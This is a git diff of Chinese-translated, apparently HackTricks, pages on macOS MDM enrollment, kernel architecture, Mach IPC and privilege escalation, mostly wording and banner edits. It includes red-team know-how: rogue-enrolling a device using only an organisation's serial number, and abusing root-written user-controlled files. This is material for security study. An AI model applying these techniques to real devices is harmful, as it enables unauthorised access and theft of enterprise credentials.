-* 通过 XPC 由**`cloudconfigurationd`** 实现。**“设置助手”**(设备首次启动时)或**`profiles`**命令将**联系此守护程序**以检索激活记录。
+* 由**`CPFetchActivationRecord`**驱动
+* 通过 XPC 由**`cloudconfigurationd`**实现。**“设置助手”**(设备首次启动时)或**`profiles`**命令将**联系此守护程序**以检索激活记录。
* LaunchDaemon(始终以 root 运行)
-获取激活记录由**`MCTeslaConfigurationFetcher`**执行,该过程使用一种名为**Absinthe**的加密
+获取激活记录的过程由**`MCTeslaConfigurationFetcher`**执行,使用一种名为**Absinthe**的加密
1. 检索**证书**
1. GET [https://iprofiles.apple.com/resource/certificate.cer](https://iprofiles.apple.com/resource/certificate.cer)
-2. 从证书初始化状态(**`NACInit`)
+2. 从证书**初始化**状态(**`NACInit`)
1. 使用各种设备特定数据(例如**通过 `IOKit` 获取序列号**)
3. 检索**会话密钥**
1. POST [https://iprofiles.apple.com/session](https://iprofiles.apple.com/session)
-4. 建立会话(**`NACKeyEstablishment`**)
+4. 建立会话(**`NACKeyEstablishment`)
5. 发送请求
-1. 发送 POST 请求到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile),发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
+1. POST 到 [https://iprofiles.apple.com/macProfile](https://iprofiles.apple.com/macProfile) 发送数据 `{ "action": "RequestProfileConfiguration", "sn": "" }`
2. JSON 负载使用 Absinthe 进行加密(**`NACSign`**)
3. 所有请求均通过 HTTPs,使用内置根证书
@@ -143,26 +144,26 @@
* **url**:MDM 供应商主机的激活配置文件的 URL
* **anchor-certs**:用作受信任锚点的 DER 证书数组
-### **步骤 5: 获取配置文件**
+### **步骤 5: 检索配置文件**
![](<../../../.gitbook/assets/image (444).png>)
* 发送请求到**DEP 配置文件中提供的 URL**。
* 如果提供,将使用**锚点证书**来**评估信任**。
-* 提醒:DEP 配置文件的**anchor\_certs** 属性
+* 提醒:DEP 配置文件的**anchor\_certs**属性
* 请求是一个包含设备标识的简单 .plist
-* 例如:**UDID,OS 版本**。
+* 例如:**UDID、OS 版本**。
* CMS 签名,DER 编码
* 使用**设备身份证书(来自 APNS)**进行签名
-* **证书链**包括已过期的**Apple iPhone 设备 CA**
+* **证书链**包括已过期的**Apple iPhone Device CA**
-![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
+![](<../../../.gitbook/assets/image (567) (1) (2) (2) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (2).png>)
### 步骤 6: 配置文件安装
-* 一旦检索到,**配置文件将存储在系统上**
+* 一旦检索到,**配置文件将存储在系统中**
* 如果在**设置助手**中,此步骤将自动开始
-* 由**`CPInstallActivationProfile`** 驱动
+* 由**`CPInstallActivationProfile`**驱动
* 通过 XPC 由 mdmclient 实现
* LaunchDaemon(作为 root)或 LaunchAgent(作为用户),取决于上下文
* 配置文件具有多个要安装的有效负载
@@ -178,12 +179,12 @@
* `com.apple.security.scep`:用于向设备安全地提供**客户端证书**。
* `com.apple.security.pem`:用于向设备的系统钥匙串**安装受信任的 CA 证书**。
* 安装 MDM 有效负载相当于**文档中的 MDM 检查**
-* 有效负载包含关键属性:
+* 有效负载**包含关键属性**:
*
* MDM 检查 URL(**`CheckInURL`**)
* MDM 命令轮询 URL(**`ServerURL`**)+ 触发它的 APNs 主题
* 要安装 MDM 有效负载,将请求发送到**`CheckInURL`**
-* 在**`mdmclient`** 中实现
+* 由**`mdmclient`**实现
* MDM 有效负载可能依赖于其他有效负载
* 允许**请求固定到特定证书**:
* 属性:**`CheckInURLPinningCertificateUUIDs`**
@@ -196,8 +197,15 @@
### **步骤 7: 监听 MDM 命令**
在完成 MDM 检查后,供应商可以使用 APNs **发出推送通知**
-收到后,由**`mdmclient`** 处理
-为轮询 MDM 命令,将请求发送到 ServerURL
+收到后,由**`mdmclient`**处理
+为了轮询 MDM 命令,将请求发送到 ServerURL
利用先前安装的 MDM 有效负载:
-**`ServerURLPinningCertificateUUIDs`** 用于固定请求
-**`IdentityCertificateUUID`** 用于 TLS 客户端证书
+**`ServerURLPinningCertificateUUIDs`**用于固定请求
+**`IdentityCertificateUUID`**用于 TLS 客户端证书
+
+## 攻击
+
+### 将设备注册到其他组织
+
+如前所述,为了尝试将设备注册到一个组织中,只需要一个属于该组织的**序列号**。一旦设备注册,多个组织将在新设备上安装敏感数据:证书、应用程序、WiFi 密码、VPN 配置[等等](https://developer.apple.com/enterprise/documentation/Configuration-Profile-Reference.pdf)。\
+因此,如果注册过程没有得到正确保护,这可能是攻击者的一个危险入口:
diff --git a/macos-hardening/macos-security-and-privilege-escalation/README.md b/macos-hardening/macos-security-and-privilege-escalation/README.md
index 1d9961918..51650b1a6 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/README.md
@@ -1,18 +1,19 @@
# macOS安全性与权限提升
+{% hint style="success" %}
+学习并实践AWS Hacking:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并实践GCP Hacking:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
@@ -27,11 +28,11 @@
**最新公告**\
了解最新的赏金计划发布和重要平台更新
-**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
+**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ,今天开始与顶尖黑客合作!
## 基本的MacOS
-如果您对macOS不熟悉,应该从学习macOS的基础知识开始:
+如果您对macOS不熟悉,应该开始学习macOS的基础知识:
* 特殊的macOS **文件和权限:**
@@ -64,7 +65,7 @@
{% endcontent-ref %}
* **开源**的macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
-* 要下载一个`tar.gz`,请将URL更改为[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/),变为[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
+* 要下载一个`tar.gz`,请更改URL,例如将[https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/)更改为[https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz)
### MacOS MDM
@@ -74,7 +75,7 @@
[macos-mdm](../macos-red-teaming/macos-mdm/)
{% endcontent-ref %}
-### MacOS - 检查、调试和模糊处理
+### MacOS - 检查、调试和模糊化
{% content-ref url="macos-apps-inspecting-debugging-and-fuzzing/" %}
[macos-apps-inspecting-debugging-and-fuzzing](macos-apps-inspecting-debugging-and-fuzzing/)
@@ -90,13 +91,13 @@
### 文件权限
-如果**以root身份运行的进程写入**一个用户可以控制的文件,用户可能会滥用这一点来**提升权限**。\
+如果**以root身份运行的进程写入**一个可以被用户控制的文件,用户可以利用这一点来**提升权限**。\
这可能发生在以下情况下:
-* 使用的文件已由用户创建(由用户拥有)
+* 使用的文件已经被用户创建(由用户拥有)
* 使用的文件可被用户写入,因为属于一个组
* 使用的文件位于用户拥有的目录中(用户可以创建文件)
-* 使用的文件位于由root拥有但用户具有写入访问权限的目录中(用户可以创建文件)
+* 使用的文件位于root拥有但用户有写入权限的目录中(用户可以创建文件)
能够**创建一个将被root使用的文件**,允许用户**利用其内容**,甚至创建**符号链接/硬链接**将其指向另一个位置。
@@ -106,7 +107,7 @@
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
-### 文件扩展名和URL协议应用程序处理程序
+### 文件扩展名和URL方案应用程序处理程序
通过文件扩展名注册的奇怪应用程序可能会被滥用,不同的应用程序可以注册以打开特定协议
@@ -120,9 +121,9 @@
因此,想要成功地攻击macOS机器的攻击者将需要**提升其TCC权限**(甚至**绕过SIP**,取决于他的需求)。
-这些权限通常以应用程序签名的**授权**形式给出,或者应用程序可能请求一些访问权限,**用户批准后**可以在**TCC数据库**中找到。进程可以获得这些权限的另一种方式是作为具有这些**权限的进程的子进程**,因为它们通常是**继承**的。
+这些权限通常以应用程序签名的**授权**形式给出,或者应用程序可能请求一些访问权限,**用户批准后**这些权限可以在**TCC数据库**中找到。进程可以获得这些权限的另一种方式是作为具有这些**权限的进程的子进程**,因为它们通常会被**继承**。
-点击以下链接找到不同的方式来[**提升TCC权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),[**绕过TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/),以及过去如何[**绕过SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
+点击以下链接查找不同的方式来[**提升TCC权限**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses),[**绕过TCC**](macos-security-protections/macos-tcc/macos-tcc-bypasses/),以及过去如何[**绕过SIP**](macos-security-protections/macos-sip.md#sip-bypasses)。
## macOS传统权限提升
@@ -152,18 +153,19 @@
**最新公告**\
随时了解最新的赏金任务发布和重要平台更新
-**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy),立即与顶尖黑客合作!
+**加入我们的** [**Discord**](https://discord.com/invite/N3FrSbmwdy) 并开始与顶尖黑客合作!
+
+{% hint style="success" %}
+学习并实践AWS黑客技术:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并实践GCP黑客技术:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注我们**。
-* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交PR来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
index 6048ac486..a1591f1f8 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/README.md
@@ -1,24 +1,25 @@
-# macOS Kernel & System Extensions
+# macOS内核与系统扩展
+
+{% hint style="success" %}
+学习并练习AWS黑客:[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP黑客:[**HackTricks培训GCP红队专家(GRTE)**](https://training.hacktricks.xyz/courses/grte)
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
-* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github仓库提交PR来分享黑客技巧**。
+{% endhint %}
## XNU内核
-**macOS的核心是XNU**,代表“X不是Unix”。该内核基本上由**Mach微内核**(稍后将讨论)和来自伯克利软件发行版(**BSD**)的元素组成。XNU还通过名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是达尔文开源项目的一部分,这意味着**其源代码是免费可访问的**。
+**macOS的核心是XNU**,代表“X不是Unix”。该内核基本上由**Mach微内核**(稍后将讨论)和**来自伯克利软件发行版(BSD)**的元素组成。XNU还通过名为I/O Kit的系统为**内核驱动程序提供平台**。XNU内核是达尔文开源项目的一部分,这意味着**其源代码是免费可访问的**。
-从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉与具有优雅GUI和大量自定义应用程序的**FreeBSD**系统非常**相似**。大多数为BSD开发的应用程序在macOS上编译和运行时无需修改,因为Unix用户熟悉的命令行工具都存在于macOS中。然而,由于XNU内核整合了Mach,因此传统的类Unix系统与macOS之间存在一些重要差异,这些差异可能会导致潜在问题或提供独特优势。
+从安全研究人员或Unix开发人员的角度来看,**macOS**可能会感觉与一个带有优雅GUI和大量自定义应用程序的**FreeBSD**系统非常**相似**。大多数为BSD开发的应用程序在macOS上编译和运行时无需修改,因为Unix用户熟悉的命令行工具都存在于macOS中。然而,由于XNU内核包含Mach,因此传统的类Unix系统和macOS之间存在一些重要差异,这些差异可能会导致潜在问题或提供独特优势。
XNU的开源版本:[https://opensource.apple.com/source/xnu/](https://opensource.apple.com/source/xnu/)
@@ -30,7 +31,7 @@ Mach是一个**微内核**,旨在**兼容UNIX**。其关键设计原则之一
### BSD
-XNU **内核**还**整合**了大量源自**FreeBSD**项目的代码。这些代码与Mach一起作为内核的一部分运行在相同的地址空间中。但是,XNU内部的FreeBSD代码可能与原始FreeBSD代码有很大不同,因为必须对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出贡献,包括:
+XNU **内核**还**包含**了大量源自**FreeBSD**项目的代码。这些代码与Mach一起作为内核的一部分运行,在相同的地址空间中。但是,XNU内部的FreeBSD代码可能与原始FreeBSD代码有很大不同,因为必须对其进行修改以确保与Mach的兼容性。FreeBSD对许多内核操作做出贡献,包括:
* 进程管理
* 信号处理
@@ -39,7 +40,7 @@ XNU **内核**还**整合**了大量源自**FreeBSD**项目的代码。这些代
* TCP/IP堆栈和套接字
* 防火墙和数据包过滤
-理解BSD和Mach之间的交互可能会很复杂,因为它们具有不同的概念框架。例如,BSD使用进程作为其基本执行单元,而Mach基于线程运行。在XNU中,通过**将每个BSD进程与包含一个Mach线程的Mach任务相关联**来协调这种差异。当使用BSD的fork()系统调用时,内核中的BSD代码使用Mach函数创建任务和线程结构。
+理解BSD和Mach之间的交互可能很复杂,因为它们具有不同的概念框架。例如,BSD使用进程作为其基本执行单元,而Mach基于线程运行。在XNU中,通过**将每个BSD进程与包含一个Mach线程的Mach任务相关联**来协调这种差异。当使用BSD的fork()系统调用时,内核中的BSD代码使用Mach函数创建任务和线程结构。
此外,**Mach和BSD各自维护不同的安全模型**:**Mach**的安全模型基于**端口权限**,而BSD的安全模型基于**进程所有权**。这两种模型之间的差异有时会导致本地特权升级漏洞。除了典型的系统调用外,还有**Mach陷阱允许用户空间程序与内核交互**。这些不同的元素共同构成了macOS内核的多面体混合架构。
@@ -59,31 +60,30 @@ I/O Kit是XNU内核中的一个开源、面向对象的**设备驱动程序框
### Kernelcache
-**Kernelcache**是XNU内核的**预编译和预链接版本**,以及必要的设备**驱动程序**和**内核扩展**。它以**压缩**格式存储,并在引导过程中解压缩到内存中。Kernelcache通过提供一个准备就绪的内核版本和关键驱动程序,减少了在引导时动态加载和链接这些组件所需的时间和资源,从而实现**更快的启动时间**。
+**Kernelcache**是XNU内核的**预编译和预链接版本**,以及必要的设备**驱动程序**和**内核扩展**。它以**压缩**格式存储,并在引导过程中解压缩到内存中。Kernelcache通过提供一个准备就绪的内核和关键驱动程序版本,减少了在引导时动态加载和链接这些组件所需的时间和资源,从而实现**更快的启动时间**。
-在iOS中,它位于\*\*`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在macOS中,您可以使用**`find / -name kernelcache 2>/dev/null`**或**`mdfind kernelcache | grep kernelcache`\*\*找到它。
+在iOS中,它位于**`/System/Library/Caches/com.apple.kernelcaches/kernelcache`**,在macOS中,您可以使用**`find / -name kernelcache 2>/dev/null`**或**`mdfind kernelcache | grep kernelcache`**找到它。
-可以运行\*\*`kextstat`\*\*来检查加载的内核扩展。
+可以运行**`kextstat`**来检查加载的内核扩展。
#### IMG4
-IMG4文件格式是苹果在其iOS和macOS设备中使用的容器格式,用于安全地**存储和验证固件**组件(如**kernelcache**)。IMG4格式包括一个头部和几个标签,这些标签封装了不同的数据部分,包括实际有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行之前确认固件组件的真实性和完整性。
+IMG4文件格式是苹果在其iOS和macOS设备中使用的容器格式,用于安全地**存储和验证固件**组件(如**kernelcache**)。IMG4格式包括一个头部和几个标签,这些标签封装了不同的数据片段,包括实际有效载荷(如内核或引导加载程序)、签名和一组清单属性。该格式支持加密验证,允许设备在执行之前确认固件组件的真实性和完整性。
通常由以下组件组成:
* **有效载荷(IM4P)**:
- * 通常是压缩的(LZFSE4、LZSS等)
- * 可选加密
+* 经常压缩(LZFSE4、LZSS等)
+* 可选加密
* **清单(IM4M)**:
- * 包含签名
- * 附加键/值字典
+* 包含签名
+* 附加键/值字典
* **恢复信息(IM4R)**:
- * 也称为APNonce
- * 防止某些更新的重放
- * 可选:通常找不到
+* 也称为APNonce
+* 防止某些更新的重放
+* 可选:通常找不到
解压Kernelcache:
-
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@@ -91,17 +91,16 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-
#### 内核缓存符号
-有时苹果会发布带有符号的**内核缓存**。您可以通过访问[https://theapplewiki.com](https://theapplewiki.com/)上的链接下载带有符号的一些固件。
+有时苹果会发布带有符号的**内核缓存**。您可以通过访问[https://theapplewiki.com](https://theapplewiki.com/)上的链接下载一些带有符号的固件。
### IPSW
-这些是您可以从[**https://ipsw.me/**](https://ipsw.me/)下载的苹果**固件**。在其他文件中,它将包含**内核缓存**。\
+这些是您可以从[**https://ipsw.me/**](https://ipsw.me/)下载的苹果**固件**。除其他文件外,它将包含**内核缓存**。\
要**提取**文件,您只需将其解压缩。
-提取固件后,您将获得一个类似于:**`kernelcache.release.iphone14`的文件。它采用IMG4**格式,您可以使用以下工具提取有趣的信息:
+提取固件后,您将获得一个类似于:**`kernelcache.release.iphone14`**的文件。它采用**IMG4**格式,您可以使用以下方法提取有趣的信息:
* [**pyimg4**](https://github.com/m1stadev/PyIMG4)
@@ -112,15 +111,12 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
-
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
-
您可以使用以下命令检查提取的内核缓存中的符号:**`nm -a kernelcache.release.iphone14.e | wc -l`**
-有了这个,现在我们可以**提取所有的扩展**或者**您感兴趣的一个:**
-
+有了这个,现在我们可以**提取所有的扩展**或者**您感兴趣的一个扩展:**
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@@ -133,10 +129,9 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
-
## macOS内核扩展
-macOS对加载内核扩展(.kext)非常严格,因为该代码将以高特权运行。实际上,默认情况下几乎不可能加载内核扩展(除非找到了绕过方法)。
+macOS对加载内核扩展(.kext)非常严格,因为该代码将以高权限运行。实际上,默认情况下几乎不可能加载(除非找到了绕过方法)。
{% content-ref url="macos-kernel-extensions.md" %}
[macos-kernel-extensions.md](macos-kernel-extensions.md)
@@ -144,7 +139,7 @@ macOS对加载内核扩展(.kext)非常严格,因为该代码将以高特
### macOS系统扩展
-macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
+macOS不再使用内核扩展,而是创建了系统扩展,提供用户级API与内核进行交互。这样,开发人员可以避免使用内核扩展。
{% content-ref url="macos-system-extensions.md" %}
[macos-system-extensions.md](macos-system-extensions.md)
@@ -155,16 +150,17 @@ macOS创建了系统扩展,而不是使用内核扩展,它提供了用户级
* [**The Mac Hacker's Handbook**](https://www.amazon.com/-/es/Charlie-Miller-ebook-dp-B004U7MUMU/dp/B004U7MUMU/ref=mt\_other?\_encoding=UTF8\&me=\&qid=)
* [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html)
+{% hint style="success" %}
+学习并练习AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS Red Team Expert)!
+支持HackTricks
-支持HackTricks的其他方式:
-
-* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
-* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
+{% endhint %}
diff --git a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
index 7d2b33b55..c242b12cf 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
@@ -1,81 +1,82 @@
# macOS IPC - 进程间通信
+{% hint style="success" %}
+学习并练习 AWS 黑客技术:[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+学习并练习 GCP 黑客技术:[**HackTricks 培训 GCP 红队专家 (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-从零开始学习AWS黑客技术,成为专家 htARTE(HackTricks AWS红队专家)!
+支持 HackTricks
-支持HackTricks的其他方式:
-
-- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
-- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
-- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
-- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
-- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
+* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
+* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
+{% endhint %}
-## 通过端口进行Mach消息传递
+## 通过端口进行 Mach 消息传递
### 基本信息
-Mach使用**任务**作为共享资源的**最小单位**,每个任务可以包含**多个线程**。这些**任务和线程与POSIX进程和线程一一映射**。
+Mach 使用 **任务** 作为共享资源的 **最小单位**,每个任务可以包含 **多个线程**。这些 **任务和线程与 POSIX 进程和线程是一对一映射**的。
-任务之间的通信通过Mach进程间通信(IPC)进行,利用单向通信通道。**消息在端口之间传递**,端口类似于由内核管理的**消息队列**。
+任务之间的通信通过 Mach 进程间通信(IPC)进行,利用单向通信通道。**消息在端口之间传递**,端口类似于由内核管理的 **消息队列**。
-每个进程都有一个**IPC表**,可以在其中找到**进程的Mach端口**。Mach端口的名称实际上是一个数字(指向内核对象的指针)。
+每个进程都有一个 **IPC 表**,在其中可以找到进程的 **mach 端口**。mach 端口的名称实际上是一个数字(指向内核对象的指针)。
-进程还可以将带有一些权限的端口名称**发送给另一个任务**,内核将使此条目出现在**另一个任务的IPC表**中。
+一个进程还可以将带有一些权限的端口名称 **发送给另一个任务**,内核将使此条目出现在 **其他任务的 IPC 表**中。
### 端口权限
-端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的**端口权限**包括([此处的定义](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
+端口权限定义了任务可以执行的操作,对于这种通信至关重要。可能的 **端口权限** 包括([此处的定义](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
-- **接收权限**,允许接收发送到端口的消息。Mach端口是MPSC(多生产者,单消费者)队列,这意味着整个系统中可能只有**一个接收权限**与每个端口相关联(与管道不同,多个进程可以持有指向一个管道读端的文件描述符)。
-- 具有**接收权限**的任务可以接收消息并**创建发送权限**,从而使其能够发送消息。最初,只有**自己的任务**对其端口具有接收权限。
-- **发送权限**,允许向端口发送消息。
-- 发送权限可以**克隆**,因此拥有发送权限的任务可以克隆权限并将其授予第三个任务。
-- **一次性发送权限**,允许向端口发送一条消息,然后消失。
-- **端口集权限**,表示一个_端口集_而不是单个端口。从端口集中出列消息会从其中一个包含的端口中出列消息。端口集可用于同时监听多个端口,类似于Unix中的`select`/`poll`/`epoll`/`kqueue`。
-- **死命名**,不是实际的端口权限,而只是一个占位符。当一个端口被销毁时,所有现有的端口权限都变成死命名。
